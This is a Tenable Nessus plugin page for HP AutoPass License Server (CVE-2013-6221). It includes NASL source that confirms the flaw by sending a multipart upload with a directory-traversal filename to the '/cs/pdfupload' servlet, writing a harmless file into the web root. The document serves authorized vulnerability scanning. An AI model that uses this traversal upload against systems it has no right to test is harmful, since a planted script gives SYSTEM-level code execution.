The HP AutoPass License Server has a flaw in the ‘CommunicationServlet’ that allows a remote, unauthenticated attackers to place files at arbitrary locations on the system by utilizing a directory traversal string. A remote attacker could use this issue to execute arbitrary code with ‘SYSTEM’ privileges.
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#
include('deprecated_nasl_level.inc');
include('compat.inc');
if (description)
{
script_id(76284);
script_version("1.8");
script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");
script_cve_id("CVE-2013-6221");
script_bugtraq_id(67989);
script_xref(name:"HP", value:"HPSBMU03045");
script_name(english:"HP AutoPass License Server Remote Code Execution (HPSBMU03045)");
script_summary(english:"Tries to exploit directory traversal vulnerability");
script_set_attribute(attribute:"synopsis", value:"The remote host is affected by a remote code execution vulnerability.");
script_set_attribute(attribute:"description", value:
"The HP AutoPass License Server has a flaw in the
'CommunicationServlet' that allows a remote, unauthenticated attackers
to place files at arbitrary locations on the system by utilizing a
directory traversal string. A remote attacker could use this issue to
execute arbitrary code with 'SYSTEM' privileges.");
script_set_attribute(attribute:"see_also", value:"https://www.zerodayinitiative.com/advisories/ZDI-14-195/");
# https://support.hpe.com/hpsc/doc/public/display?docId=emr_na-c04333125
script_set_attribute(attribute:"see_also",value:"http://www.nessus.org/u?41f0a021");
script_set_attribute(attribute:"solution", value:"Apply the appropriate patch per the vendor's advisory.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"exploit_framework_core", value:"true");
script_set_attribute(attribute:"metasploit_name", value:'HP AutoPass License Server File Upload');
script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
script_set_attribute(attribute:"vuln_publication_date", value:"2014/06/10");
script_set_attribute(attribute:"patch_publication_date", value:"2014/06/10");
script_set_attribute(attribute:"plugin_publication_date", value:"2014/06/27");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"x-cpe:/a:hp:autopass_license_server");
script_set_attribute(attribute:"exploited_by_nessus", value:"true");
script_end_attributes();
script_category(ACT_DESTRUCTIVE_ATTACK);
script_family(english:"CGI abuses");
script_copyright(english:"This script is Copyright (C) 2014-2021 and is owned by Tenable, Inc. or an Affiliate thereof.");
script_dependencies("hp_autopass_detect.nbin");
script_require_keys("www/hp_autopass");
script_require_ports("Services/www", 5814);
exit(0);
}
include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("url_func.inc");
include("webapp_func.inc");
appname = 'HP AutoPass License Server';
port = get_http_port(default:5814);
install = get_install_from_kb(
appname : "hp_autopass",
port : port,
exit_on_fail : TRUE
);
dir = install['dir'];
bound = rand_str();
boundary = "--" + bound;
file_content = unixtime() + '\n' + SCRIPT_NAME + '\n' + rand_str();
# we can keep the filename constant to avoid filling the entire directory with junk files
# if the file already exists, it will be overwritten with unique content, so we won't flag
# previously vuln, but fixed installs
filename = hexstr(MD5(SCRIPT_NAME)) + '.txt';
postdata =
boundary + '\r\n' +
'Content-Disposition: form-data; name="binaryFile";' +
'filename="../../../../HP AutoPass License Server/HP AutoPass License Server/webapps/autopass/css/' + filename + '"\r\n' +
'Content-Type: text/plain\r\n' +
'Content-Transfer-Encoding: binary\r\n' +
'\r\n' +
file_content +
'\r\n' + boundary + '--\r\n';
res = http_send_recv3(
method : "POST",
item : dir + "/cs/pdfupload",
data : postdata,
add_headers:
make_array("Content-Type",
"multipart/form-data; boundary=" + bound),
port : port,
exit_on_fail : TRUE
);
res = http_send_recv3(
method : "GET",
item : dir + "/css/" + filename,
port : port,
exit_on_fail : TRUE
);
if (res[2] == file_content)
{
if (report_verbosity > 0)
{
report =
'\n' + 'Nessus was able to exploit the vulnerability with the following' +
'\n' + 'request :' +
'\n' +
'\n' + chomp(http_last_sent_request()) +
'\n' +
'\n' + 'Nessus was able to place the following file on the server. Please' +
'\n' + 'delete this file as soon as possible :' +
'\n' +
'\n' + build_url(port:port, qs:dir + '/css/' + filename) +
'\n';
security_hole(port:port, extra:report);
}
else security_hole(port);
exit(0);
}
else audit(AUDIT_WEB_APP_NOT_AFFECTED, appname, build_url(port:port, qs:dir));
Vendor | Product | Version | CPE |
---|---|---|---|
hp | autopass_license_server | x-cpe:/a:hp:autopass_license_server |